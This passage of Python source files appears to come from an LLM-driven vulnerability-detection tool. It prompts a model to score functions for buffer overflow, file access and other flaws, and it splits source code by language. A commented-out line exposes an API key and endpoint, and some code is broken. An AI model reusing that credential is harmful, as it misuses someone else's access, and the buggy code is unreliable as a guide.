dangerous functions or related to dangerous functions; 6. The code snippets provided are often incomplete. If there are custom functions with unknown function bodies, please analyze the additional context information they need by yourself; 7. Please analyze the code snippets provided from various angles of vulnerability analysis as much as possible, and be generous and thorough when identifying dangerous functions and other related functions, because you will analyze more code in subsequent steps; 8. Please do not output irrelevant function names to the results and do not output a list of dangerous functions that is too long (for example, more than 10 elements), otherwise it will affect our next judgment. 9. Please make sure that the output json is a legal json file and output your analysis process. """, input_variables=["slice_lang","slice_vul","ocr_result","format_instructions"] ) SystemPrompt = PromptTemplate( template="""You are a world-leading expert in vulnerability analysis, famous for discovering vulnerabilities in code snippets. You understand and are familiar with various languages including but not limited to decompiled pseudocode, C, C++, java, python, go, js, and you can read English and Chinese. Your task is to perform a detailed static code analysis, focusing on the following types of vulnerabilities: 1. Arbitrary File Access (Arbitrary_file_access) 2. Authentication Bypass (Authentication_bypass) 3. Buffer Overflow (Buffer_overflow) 4. Command Injection (Command_injection) 5. Integer Overflow (Integer_overflow) 6. Others (others): including but not limited to SQL injection, deserialization vulnerabilities, SSRF, XSS, UAF, conditional competition, format string and other types of vulnerabilities. """ ) #output response_schemas_step1 = [ ResponseSchema(name="vul_functions", description="a list of all dangerous functions", type="list[str]"), ResponseSchema(name="related_functions", description="a list of all related functions", type="list[str]") ] length_limit=14000 """ Connect to the OpenAI API and return the response """ # chat_template = ChatPromptTemplate.from_messages( # [ # ("system", "You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information."), # ("human", "Hello, how are you doing?"), # ("ai", "I'm doing well, thanks!"), # ("human", "{user_input}"), # ] # ) # create SystemMessagePromptTemplate vul_list = ["Arbitrary_file_access", "Authentication_bypass", "Buffer_overflow", "Command_injection", "Integer_overflow", "others"] SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) def llm_api_step1(prompt, slice_lang, slice_vul): global length_limit if len(prompt)>length_limit: prompt = prompt[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep1) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step1) format_instructions = output_parser.get_format_instructions() chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): # 先考虑输出只有危险函数的情况,其他相关函数(如调用链)不管 if json_out["vul_functions"]: break output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def split_files(subdir_path, ext): functions=None if ext=='.c' or ext=='.h' or ext=='.cc' or ext=='.cpp': functions=process_c_files(subdir_path) elif ext=='.py': functions=process_python(subdir_path) elif ext=='.ts': functions=None elif ext=='.js': functions=split_jsp_files() elif ext=='.java': functions=process_java_files(subdir_path) elif ext=='.php': functions=process_php_files_in_directory(subdir_path) elif ext=='.go': functions=extract_functions_with_receivers(subdir_path) return functions def run_step1_considering_timeout(file_content, slice_lang, slice_vul): global length_limit length_limit = 14000 json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul) for i in range(50): if json_out_step1 is not None: break json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul) return json_out_step1 writed_result=0 def check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content): global writed_result try: if writed_result<=4: with open(file_path, 'a') as f: f.write(target1+'\n') writed_result+=1 if highest_score < second_highest*2: f.write(target2+'\n') writed_result+=1 except: pass def run_step2(slice_vul,file_content, total_file_content): json_out_step2=None if slice_vul=="Arbitrary_file_access": json_out_step2 = check_arbitrary(file_content, key_env, base_env) elif slice_vul=="Authentication_bypass": json_out_step2 = check_bypass(file_content, key_env, base_env) elif slice_vul=="Buffer_overflow": json_out_step2 = check_bof(file_content, key_env, base_env) elif slice_vul=="Command_injection": json_out_step2 = check_command(file_content, key_env, base_env) elif slice_vul=="Integer_overflow": json_out_step2 = check_int_overflow(file_content, key_env, base_env) else: json_out_step2 = check_others(file_content, key_env, base_env) if not json_out_step2: return#not implemented yet print(json_out_step2) highest_score=0 second_highest=0 target1=None target2=None for item in json_out_step2['functions']: if item['confidence']>highest_score: target1=item['name'] highest_score=item['confidence'] elif item['confidence']>second_highest: target2=item['name'] second_highest=item['confidence'] #if highest_score < second_highest*2: # print("prepare writing",target1,target2) #else: # print("prepare writing",target1) a_dir = os.path.join(answer_dir, slice_vul) file_path = os.path.join(a_dir, 'answer.txt') if not os.path.exists(a_dir): os.makedirs(a_dir) check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content) def step_by_step(type, subdir_path, answer_dir): global writed_result writed_result=0 #split 返回content, slice_lang and slice_vul # Main function call #directory_path = '0' # Replace with the actual directory path #process_directory(directory_path) #exit() # all type: # .bz2, .c, .cc, .cfg, .crt, .csv, .go, .gz, .h, .html, .java, .jsp, .key, .php, .po, .py, .pyi, .ts, .txt, .xml # 黑名单文件的后缀名 extensions = [".pyi",".bz2",".cfg",".crt",".csv",".gz",".html",".key",".po",'.txt','.xml'] ext=None file_num=0 for filename in os.listdir(subdir_path): file_path = os.path.join(subdir_path, filename) # 确保是文件而不是子目录 if os.path.isfile(file_path): # 获取文件的扩展名(后缀名) ext = os.path.splitext(filename)[1].lower() if ext in extensions: continue file_num+=1 if file_num>1: break with open(file_path, encoding='utf-8') as file: file_content = file.read() if file_num>1 or len(file_content)>10000:#split functions=None slice_vul = type #if slice_vul!="Arbitrary_file_access" and slice_vul!="Buffer_overflow": # return slice_lang = ext[1:] if ext=='.c' or ext=='.h': slice_lang = "decompiled pseudocode or c programming language" elif ext=='.cc' or ext=='.cpp': slice_lang = "c++" elif ext=='.py': slice_lang = "python" elif ext=='.ts': slice_lang = "TypeScript" elif ext=='.jsp': slice_lang = "JavaScript" print(slice_lang,slice_vul) if file_num<=1 and len(file_content)<=14000: #edit, simply run step2 run_step2(slice_vul,file_content,file_content) #json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul) else: #split if functions==None: return total="" for function in functions: total+=function file_content="" dangerous_funcs=[] related_funcs=[] if slice_vul=="Buffer_overflow" or slice_vul=="Integer_overflow" or slice_vul=="Command_injection" or slice_vul=="others": for function in functions: if len(file_content)+len(function)<=14000: file_content+=function else: run_step2(slice_vul,file_content,total) file_content=function run_step2(slice_vul,file_content,total) return for function in functions: if len(file_content)+len(function)<=14000: file_content+=function else: json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul) dangerous_funcs+=json_out_step1["vul_functions"] try: related_funcs+=json_out_step1["related_functions"] except: pass file_content=function json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul) dangerous_funcs+=json_out_step1["vul_functions"] try: related_funcs+=json_out_step1["related_functions"] except: pass #print(dangerous_funcs) #print(related_funcs) file_content2="" analysed_funcs=[] for function in functions: try: head=function.split('\n')[0]+function.split('\n')[1]+function.split('\n')[2] except: head=function for danger in dangerous_funcs: if danger in analysed_funcs: continue if danger in head: if len(file_content2)+len(function)>14000: print("full") run_step2(slice_vul,file_content2,total) file_content2=function file_content2+=function analysed_funcs.append(danger) print(len(file_content2)) if len(file_content2)<13000:#still have space for function in functions: try: head=function.split('\n')[0]+function.split('\n')[1]+function.split('\n')[2] except: head=function for danger in related_funcs: if danger in analysed_funcs: continue if danger in head: if len(file_content2)+len(function)>14000: print("full") continue file_content2+=function analysed_funcs.append(danger) print(len(file_content2)) run_step2(slice_vul,file_content2,total) def search_data_dir(data_dir, answer_dir): # 当前目录下的数据集路径 root_dir = data_dir answer_dir=answer_dir # 获取第一层所有目录名称 top_level_dirs = [] # 用于存储所有二级目录和对应的文件数量 subdirs_with_file_count = [] # 遍历每一个第一层目录 for type in top_level_dirs: print(f"Processing directory: {type}") # 获取每个第一层目录的路径 subdir_path = os.path.join(root_dir, type) # 遍历每个二级目录(数字目录如0, 1, 2)并统计文件数量 for i in os.listdir(subdir_path): sub_dir = os.path.join(subdir_path, i) if os.path.isdir(sub_dir): total_size = sum( os.path.getsize(os.path.join(sub_dir, f)) for f in os.listdir(sub_dir) if os.path.isfile(os.path.join(sub_dir, f)) ) # 将二级目录及其总文件大小保存到列表中 subdirs_with_file_count.append((type, i, total_size)) # 统计该二级目录下的文件数量 #file_count = len([f for f in os.listdir(sub_dir) if os.path.isfile(os.path.join(sub_dir, f))]) # 将二级目录及其文件数量保存到列表中 #subdirs_with_file_count.append((type, i, file_count)) # 根据文件数量排序(从小到大) subdirs_with_file_count.sort(key=lambda x: x[2]) # 按照排序后的顺序输出文件内容 for type, subdir, _ in subdirs_with_file_count: subdir_path = os.path.join(root_dir, type, subdir) print(f"\nEntering subdirectory: {subdir} in {type}") try: step_by_step(type,subdir_path,answer_dir) except Exception as e: print("analysing file error",e) # 遍历子目录中的文件 #for filename in os.listdir(subdir_path): # file_path = os.path.join(subdir_path, filename) # # 确保是文件而不是子目录 # if os.path.isfile(file_path): # # 获取文件的扩展名(后缀名) # ext = os.path.splitext(filename)[1].lower() # if ext in extensions: # continue # # 打开并读取文件内容 # try: # with open(file_path, encoding='utf-8') as file: # file_content = file.read() # step_by_step(type, ext, answer_dir, file_content) # except Exception as e: # print("analysing file error",e) #print(file_count) if __name__ == '__main__': search_data_dir(data_dir, answer_dir) ================================================ FILE: task2_source_code/first_version/Splitting_function_C2.py ================================================ import os import re def extract_c_functions_with_stack(file_path): """ Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies. :param file_path: Path to the C/C++ file :return: A list of all function code blocks """ with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() functions = [] stack = [] current_function = [] inside_function = False signature_detected = False for line in lines: stripped_line = line.strip() # Detect potential function signature if not inside_function and re.match(r"^[\w\s\*\&]+[\w\*]+\s*\([^)]*\)\s*\{?$", stripped_line): signature_detected = True inside_function = True current_function.append(line) elif inside_function: current_function.append(line) # Track opening and closing braces using a stack for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() # If the stack is empty, the function is complete if not stack: functions.append("".join(current_function)) current_function = [] inside_function = False signature_detected = False elif signature_detected: # Handle multi-line function signature current_function.append(line) if "{" in stripped_line: inside_function = True for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() return functions def save_functions_to_files(functions, file_name, output_dir): """ Save extracted functions to individual txt files. :param functions: List of extracted functions :param file_name: Original file name (without path) :param output_dir: Path to the output directory """ if not os.path.exists(output_dir): os.makedirs(output_dir) for i, function in enumerate(functions): output_file = os.path.join(output_dir, f"{file_name}_function_{i + 1}.txt") with open(output_file, 'w', encoding='utf-8') as file: file.write(function) def process_c_files(input_dir): """ Process all C files in the specified directory. :param input_dir: Path to the input directory """ functions = [] for root, _, files in os.walk(input_dir): for file in files: if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h'): file_path = os.path.join(root, file) file_name = os.path.splitext(file)[0] output_dir = input_dir+f"\{file_name}_result" print(f"Processing file: {file_path}") functions += extract_c_functions_with_stack(file_path) return functions ================================================ FILE: task2_source_code/first_version/Splitting_function_CC.py ================================================ import os import re def extract_c_functions_with_stack(file_path): """ Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies. :param file_path: Path to the C/C++ file :return: A list of all function code blocks """ with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() functions = [] stack = [] current_function = [] inside_function = False signature_detected = False for line in lines: stripped_line = line.strip() # Detect potential function signature if not inside_function and re.match(r"^[\w\s\*\&]+[\w\*]+\s*\([^)]*\)\s*\{?$", stripped_line): signature_detected = True inside_function = True current_function.append(line) elif inside_function: current_function.append(line) # Track opening and closing braces using a stack for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() # If the stack is empty, the function is complete if not stack: functions.append("".join(current_function)) current_function = [] inside_function = False signature_detected = False elif signature_detected: # Handle multi-line function signature current_function.append(line) if "{" in stripped_line: inside_function = True for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() return functions def save_functions_to_files(functions, file_name, output_dir): """ Save extracted functions to individual txt files. :param functions: List of extracted functions :param file_name: Original file name (without path) :param output_dir: Path to the output directory """ if not os.path.exists(output_dir): os.makedirs(output_dir) for i, function in enumerate(functions): output_file = os.path.join(output_dir, f"{file_name}_function_{i + 1}.txt") with open(output_file, 'w', encoding='utf-8') as file: file.write(function) def process_c_files(input_dir): """ Process all C files in the specified directory. :param input_dir: Path to the input directory """ functions=[] for root, _, files in os.walk(input_dir): for file in files: if file.endswith('.c') or file.endswith('.cpp') or file.endswith('.h') or file.endswith('.cc'): file_path = os.path.join(root, file) file_name = os.path.splitext(file)[0] output_dir = input_dir+f"\{file_name}_result" print(f"Processing file: {file_path}") functions += extract_c_functions_with_stack(file_path) if functions: save_functions_to_files(functions, file_name, output_dir) print(f"Processing complete. Functions saved in: {output_dir}") else: print(f"No functions found in file: {file_path}") return functions ================================================ FILE: task2_source_code/first_version/Splitting_function_go.py ================================================ import os import re def extract_functions_with_receivers(input_directory): out_funtions=[] # 获取指定目录下的所有 .go 文件 go_files = [f for f in os.listdir(input_directory) if f.endswith('.go')] for go_file in go_files: # 获取当前文件路径和文件名 file_path = os.path.join(input_directory, go_file) file_name, _ = os.path.splitext(go_file) output_directory = os.path.join(input_directory, f"{file_name}_result") # 创建结果存储文件夹 os.makedirs(output_directory, exist_ok=True) with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() # 初始化变量 functions = [] current_function = [] stack = [] # 用于跟踪大括号的堆栈 inside_function = False # 改进后的正则表达式,支持接收器和多行定义 func_start_pattern = re.compile(r'^func\s+(\(\w+\s+\*?\w+\)\s+)?\w+\(.*\)\s*{?') for line in lines: if not inside_function: # 检测函数定义的起始 match = func_start_pattern.match(line) if match: inside_function = True current_function.append(line) # 检查是否有未闭合的 `{`,如果有则记录 if '{' in line and '}' not in line: stack.append('{') else: # 当前在函数体内,累积函数内容 current_function.append(line) # 检查大括号,更新堆栈状态 for char in line: if char == '{': stack.append('{') elif char == '}': if stack: stack.pop() # 如果堆栈为空,函数结束 if not stack: functions.append("".join(current_function)) current_function = [] inside_function = False out_funtions+=functions return out_funtions ================================================ FILE: task2_source_code/first_version/Splitting_function_java.py ================================================ import os def extract_java_functions_with_stack(file_path): """ Extract all functions from a Java file using a stack-based approach to ensure complete function bodies. :param file_path: Path to the Java file :return: A list of all function code blocks """ with open(file_path, 'r', encoding='utf-8') as file: lines = file.readlines() functions = [] stack = [] current_function = [] inside_function = False for line in lines: stripped_line = line.strip() # Check for potential function signature if not inside_function and ("{" in stripped_line or "(" in stripped_line) and ")" in stripped_line: # Basic heuristic for identifying function signatures if any(keyword in stripped_line for keyword in ["public", "private", "protected", "void", "int", "String"]): inside_function = True if inside_function: current_function.append(line) # Track opening and closing braces using a stack for char in stripped_line: if char == "{": stack.append("{") elif char == "}": if stack: stack.pop() # If the stack is empty, the function is complete if inside_function and not stack: functions.append("".join(current_function)) current_function = [] inside_function = False return functions def save_functions_to_files(functions, file_name, output_dir): """ Save extracted functions to individual txt files. :param functions: List of extracted functions :param file_name: Original file name (without path) :param output_dir: Path to the output directory """ if not os.path.exists(output_dir): os.makedirs(output_dir) for i, function in enumerate(functions): output_file = os.path.join(output_dir, f"{file_name}_function_{i + 1}.txt") with open(output_file, 'w', encoding='utf-8') as file: file.write(function) def process_java_files(input_dir): """ Process all Java files in the specified directory. :param input_dir: Path to the input directory """ functions=[] for root, _, files in os.walk(input_dir): for file in files: if file.endswith('.java'): file_path = os.path.join(root, file) file_name = os.path.splitext(file)[0] output_dir = input_dir+f"\{file_name}_result" print(f"Processing file: {file_path}") functions += extract_java_functions_with_stack(file_path) return functions ================================================ FILE: task2_source_code/first_version/Splitting_function_php.py ================================================ import os import re def extract_php_functions_with_context(file_path): """ 使用栈从PHP文件中提取函数定义,支持类上下文信息 :param file_path: PHP文件路径 :return: 函数列表,每个元素是一个函数的完整定义 """ functions = [] stack = [] current_function = [] inside_function = False class_context = [] # 正则匹配 function_start_pattern = re.compile(r'^function\s+\w+\s*\(.*\)\s*{') class_start_pattern = re.compile(r'^class\s+\w+\s*{') with open(file_path, 'r', encoding='utf-8') as f: lines = f.readlines() for line in lines: stripped_line = line.strip() # 检测类定义的起始 if class_start_pattern.search(stripped_line) and not inside_function: class_context.append(line) stack.append('{') continue # 检测函数定义的起始 if function_start_pattern.search(stripped_line): # 如果当前已在记录函数,则先保存并结束 if current_function: functions.append(''.join(class_context + current_function)) current_function = [] inside_function = True current_function.append(line) # 记录函数起始行 stack.append('{') # 函数起始,压栈 continue # 如果已进入函数定义,记录内容 if inside_function: current_function.append(line) # 检测大括号的开闭 for char in line: if char == '{': stack.append('{') elif char == '}': if stack: stack.pop() # 栈为空时,函数结束 if not stack: functions.append(''.join(class_context + current_function)) current_function = [] inside_function = False # 处理文件末尾的残余函数 if current_function: functions.append(''.join(class_context + current_function)) return functions def save_functions_to_files(functions, result_dir): """ 将函数列表保存为单独的txt文件 :param functions: 函数内容列表 :param result_dir: 保存目录路径 """ if not os.path.exists(result_dir): os.makedirs(result_dir) for idx, func in enumerate(functions): file_name = os.path.join(result_dir, f'function_{idx + 1}.txt') with open(file_name, 'w', encoding='utf-8') as f: f.write(func) def process_php_file(file_path): """ 处理单个PHP文件,提取函数并保存 :param file_path: PHP文件路径 """ result_dir = f"{os.path.splitext(file_path)[0]}_result" print(f"Processing {file_path}...") try: functions = extract_php_functions_with_context(file_path) save_functions_to_files(functions, result_dir) print(f"Extracted {len(functions)} functions from {file_path}.") except Exception as e: print(f"Error processing {file_path}: {e}") return functions def process_php_files_in_directory(directory): """ 扫描指定目录下的所有PHP文件并处理 :param directory: 目录路径 """ functions=[] for root, _, files in os.walk(directory): for file in files: if file.endswith('.php'): file_path = os.path.join(root, file) functions+=process_php_file(file_path) return functions ================================================ FILE: task2_source_code/first_version/Splitting_function_py.py ================================================ import os import ast def extract_functions_from_file(file_path): """ Extract all functions from a single Python file and return a dictionary. Keys are function names, and values are the full code of the functions. """ print(f"[DEBUG] Attempting to read file: {file_path}") with open(file_path, 'r', encoding='utf-8') as file: file_content = file.read() try: # Parse Python code using the AST module tree = ast.parse(file_content) print(f"[DEBUG] Successfully parsed file: {file_path}") except SyntaxError as e: print(f"[ERROR] Syntax error in file: {file_path} - {e}") return {} functions = {} for node in ast.walk(tree): if isinstance(node, ast.FunctionDef): # Find function definitions func_name = node.name func_code = ast.get_source_segment(file_content, node) functions[func_name] = func_code print(f"[DEBUG] Extracted function: {func_name}") print(f"[INFO] Total functions extracted from {file_path}: {len(functions)}") return functions def save_functions_to_files(functions, output_dir): """ Save extracted functions as individual txt files. """ print(f"[DEBUG] Preparing to save functions to directory: {output_dir}") if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"[DEBUG] Created output directory: {output_dir}") for idx, (func_name, func_code) in enumerate(functions.items(), start=1): # Ensure unique filenames sanitized_name = func_name.replace('<', '').replace('>', '').replace(':', '_') output_file = os.path.join(output_dir, f"{idx}_{sanitized_name}.txt") try: with open(output_file, 'w', encoding='utf-8') as file: file.write(func_code) print(f"[INFO] Saved function: {func_name} to {output_file}") except Exception as e: print(f"[ERROR] Failed to save function: {func_name} - {e}") def process_python(input_dir): """ Traverse all Python files in the directory and extract functions. """ print(f"[DEBUG] Starting directory traversal: {input_dir}") if not os.path.isdir(input_dir): print(f"[ERROR] Invalid directory: {input_dir}") return functions = [] for root, _, files in os.walk(input_dir): for file_name in files: if file_name.endswith('.py'): file_path = os.path.join(root, file_name) print(f"[INFO] Processing file: {file_path}") # Extract functions functions += extract_functions_from_file(file_path) return functions ================================================ FILE: task2_source_code/first_version/Splitting_jsp.py ================================================ import os def split_jsp_files(directory, max_chars=14000): functions=[] """ Splits .jsp files in the specified directory into smaller files of up to `max_chars` characters. Args: directory (str): The path of the directory containing .jsp files. max_chars (int): Maximum number of characters in each split file. """ # Ensure the provided directory exists if not os.path.isdir(directory): print(f"Error: The directory '{directory}' does not exist.") return # Get all .jsp files in the directory jsp_files = [f for f in os.listdir(directory) if f.endswith('.jsp')] if not jsp_files: print(f"No .jsp files found in the directory: {directory}") return # Process each .jsp file for jsp_file in jsp_files: filepath = os.path.join(directory, jsp_file) with open(filepath, 'r', encoding='utf-8') as file: content = file.read() # Split content into chunks chunks = [content[i:i+max_chars] for i in range(0, len(content), max_chars)] # Create a result directory for the split files result_dir = os.path.join(directory, f"{jsp_file}_result") os.makedirs(result_dir, exist_ok=True) functions+=chunks return functions ================================================ FILE: task2_source_code/first_version/arbitrary.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Arbitrary File Access vulnerabilities ,Your analysis must consider: User Input Flow: Analyze how user input flows into file operations like open(). Look for cases where input affects the file path. Sanitization: Check if user input is validated for malicious patterns like ../../, symbolic links, or special characters. File Access Permissions: Ensure file operations check proper permissions before allowing {code_context} answer user's question with the information in output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score to each function.: 1.Determine whether there is File I/O Functions like open(), fopen(), read(), write(), fseek() etc. if exists, add 10 points to the confidence level 2.Consider Path Traversal: Add 20 points for any file I/O functions that directly handle user-controlled file paths. 3.Consider Unsafe Path Handling: Add 20 points for any cases where user input is concatenated into file paths. 4.Consider Lack of Permissions Check: Add 20 points for failure to check file access permissions. """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_arbitrary(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/first_version/bof.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, you understand and are familiar with various languages including but not limited to decompiled pseudocode, C, C++, java, python, go, js, and you are an Expert in buffer overflow vulnerability analysis. Your task is to analyze the provided code snippet to identify the function in the given code where the vulnerability is most likely to occur.", ) high_risky_functions="strcpy;strcat;sprintf;gets;scanf;sscanf;fscanf;vscanf;malloc;calloc;realloc;bcopy;fmt.Scanln;fmt.Fscanf;fmt.Scan;unsafe.Pointer" low_risky_functions="strncpy;strncat;snprintf;fgets;memcpy;memmove;memset;bytes.Buffer.WriteString" HumanPromptStep2 = PromptTemplate( template=""" User question:Please analyze the provided specific code to determine if any function contain potential Buffer Overflow vulnerabilities, and provide a confidence score for your assessment. Buffer overflow vulnerability catagories includes: Dangerous buffer Options: Unsafe buffer operations such as strcpy, strcat, memmove, sprintf, etc.; Unsafe Stdin Read: Reading the content from stdin to a buffer(eg:gets, sscanf, etc. can read stdin as source buffer and copy its content into target buffer); Format String Processing: Reading string content through %s format[eg: sprintf(a,"%s",b)]; Array Boundaries: operations that access array elements out of bounds. For instance, any array index accesses that exceed the declared size of the array(usually occur in loops); Heap vulnerabilities: buffer operations relevant to heap operations, such as memcpy and memmove; Type Confusion: places where data might be treated as a different type and then bypass some length checks.[such as type confusion and interger overflow, consider an length limit len_a<10 with len_a=-1 and then use it as unsigned int in snprintf(a,b,(unsigned int)len_a)]; Sanitization: If the following length check sanitizations occurs, the operation are usually no longer vulnerable: Safe buffer operations: Some operation contains length checks such as strncpy, strncat, snprintf, etc. This will make an operation nearly not vulnerable unless the check has been bypassed.(eg: fixed length check parameter "20" in strncpy(a,b,20) and similiar functions are very strict length checks) Dynamic target buffer: Some target buffer are dynamically created by heap operations and will never be smaller than the source buffer or the length limit.[eg:a=malloc(strlen(b));strcpy(a,b)] Checked source buffer: Some source buffer has been length checked [eg: char a[10];if len(b) < 10 then strcpy(a,b) is not vulnerable because the if statement checked source buffer b to be smaller than 10]; Buffer length limitations: Any buffer copy whose length is smaller than the definition of the target buffer is not vulnerable anymore.(For example, in the code char a[20], strncpy(a, b, 20), length check is "20" and the definition of the buffer size is also 20, so it won't overflow) ) {code_context} answer user's question with the information in output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score(0-10)(only one function has the top score) to each function.: 1.When calculating confidence, first, consider each buffer overflow vulnerability catagory and other similar catagories that is not metioned. Consider the vulnerability exist if an operation is not diretly in a type but is highly relevant to it; 2.If the function contains dangerous operations listed in {high_risk_functions}, these functions have no length checks so the confidence score should be higher than 7. 3.If a length check of memcpy is just strlen of the source buffer, the length check has no use and the confidence should still be greater than 7 [eg:memcpy(a,b,strlen(b)), this operation may be seperated into several operations]; 4.Some dangerous operations are listed in {low_risk_functions}, these functions have length check parameters so th confidence score should be less than 6. 5.Functions with similar names and patterns but not in the above two lists or other vulnerable operations not listed in the list should have confidence less than 4. 6.Consider the three sanitization types, consider dataflow between functions to check source buffer sanitization, the confidence score of the operation with sanitizations must be lower than those without sanitizations; 7.Consider bypass of sanitizations, if there is a bypass of length checks, the confidence should be higher than those without bypass, but should still be lower than those operations without sanitizations. 8.If the risk come from a function without symbol information, it is no longer considered as a vulnerability and should have a very low score.[eg: sub_a(str1,str2) might be a dangerous buffer operation function, but there are no symbol that ensure its vulnerability, so the confidence is very low] 9.The confidence of the function is the same as the highest confidence of an dangerous operation in it.(highest, not sum, if operation1 has score 2, operation2 has score 3, funtion confidence is 3) 10.Be careful with hex, the code given to you is very likely to be some decompiled procedures.(eg:0x10 is equal to 16 and may be a strict length check sanitization). 11.Please make sure that the output json is a legal json file and output your analysis process of each step, recheck if an answer contradicts criterias 1-10. """, input_variables=["code_context","high_risk_functions","low_risk_functions"] ) """ 2.Add 90 points if there are some stdin input such as gets or webgetvar(always assume stdin input to be very large) and this input parsed into a buffer without length check. 3.Add 90 points if there is vulnerable buffer operation without any length check before it, such as the use of strcpy or sscanf without checking the target buffer size. 4.Add 60 points if there is a high likelihood of a buffer overflow, there are some length checks, but the check may be bypassed and the source buffer can still be bigger than the target buffer. 5.Add 40 points if there it can not match step 2-4, but there may still be hidden risks. 6.Minus 30 points if the lengths used in an operation does not exceed the buffer size definition. Check source buffer definition and operation length check carefully. For example, in the code char a[20]; strncpy(a, b, 20);, verify whether the length check (20) could cause an overflow based on the buffer size (also 20, won't overflow) 7.Minus 20 points if the risk come from a function without symbol information.(eg: sub_a(str1,str2) might be a dangerous buffer operation function, but there are no symbol that ensure its vulnerability) 8.Recheck the length limitations of 